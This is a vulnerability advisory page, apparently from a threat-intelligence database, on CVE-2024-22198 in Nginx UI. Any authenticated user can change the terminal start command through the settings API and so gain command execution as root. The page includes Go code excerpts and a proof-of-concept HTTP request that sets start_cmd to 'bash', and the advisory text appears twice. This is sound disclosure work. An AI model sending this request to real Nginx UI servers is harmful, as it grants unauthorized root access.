Nginx UI: Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268) (CVE-2024-22198)
### Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. ### Details The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { Server settings.Server `json:"server"` ... } ... settings.ServerSettings = json.Server ... err := settings.Save() ... } ``` The `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used: ```go func Pty(c *gin.Context) { ... p, err := pty.NewPipeLine(ws) ... } ``` The [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows: ```go func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd) ... ``` This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"start_cmd":"bash"` : ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Open a terminal from the web interface and execute arbitrary commands as `root`: ``` root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root) ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
AI Analysis
Technical Summary
The vulnerability in Nginx-UI arises from insufficient authorization controls on the API endpoint that saves system settings. Although the UI does not allow modification of the 'Terminal Start Command' setting, the API accepts changes to it from any authenticated user due to lack of role-based access control. This setting is used directly as the command executed when spawning a terminal session, enabling arbitrary command execution as root. The issue was identified through CodeQL analysis detecting command injection from user-controlled input. The vulnerability is tracked as CVE-2024-22198 and GHSA-8r25-68wm-jw35.
Potential Impact
An authenticated user can modify the 'Terminal Start Command' to execute arbitrary commands with root privileges via the web interface terminal. This results in remote code execution, privilege escalation, and potential information disclosure within the affected system.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the API to trusted users only and avoid creating accounts with unnecessary privileges. Monitor vendor channels for updates addressing this vulnerability.
Nginx UI: Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268) (CVE-2024-22198)
Description
### Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. ### Details The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { Server settings.Server `json:"server"` ... } ... settings.ServerSettings = json.Server ... err := settings.Save() ... } ``` The `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used: ```go func Pty(c *gin.Context) { ... p, err := pty.NewPipeLine(ws) ... } ``` The [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows: ```go func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd) ... ``` This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"start_cmd":"bash"` : ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Open a terminal from the web interface and execute arbitrary commands as `root`: ``` root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root) ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
CVSS v3.1
Affected software
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Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in Nginx-UI arises from insufficient authorization controls on the API endpoint that saves system settings. Although the UI does not allow modification of the 'Terminal Start Command' setting, the API accepts changes to it from any authenticated user due to lack of role-based access control. This setting is used directly as the command executed when spawning a terminal session, enabling arbitrary command execution as root. The issue was identified through CodeQL analysis detecting command injection from user-controlled input. The vulnerability is tracked as CVE-2024-22198 and GHSA-8r25-68wm-jw35.
Potential Impact
An authenticated user can modify the 'Terminal Start Command' to execute arbitrary commands with root privileges via the web interface terminal. This results in remote code execution, privilege escalation, and potential information disclosure within the affected system.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the API to trusted users only and avoid creating accounts with unnecessary privileges. Monitor vendor channels for updates addressing this vulnerability.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-8r25-68wm-jw35
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2024-22198"]
- Ecosystems
- ["Go"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a4c342027e9c797195f9936
Added to database: 07/06/2026, 23:02:56 UTC
Last enriched: 07/06/2026, 23:37:04 UTC
Last updated: 07/21/2026, 17:26:37 UTC
Views: 11
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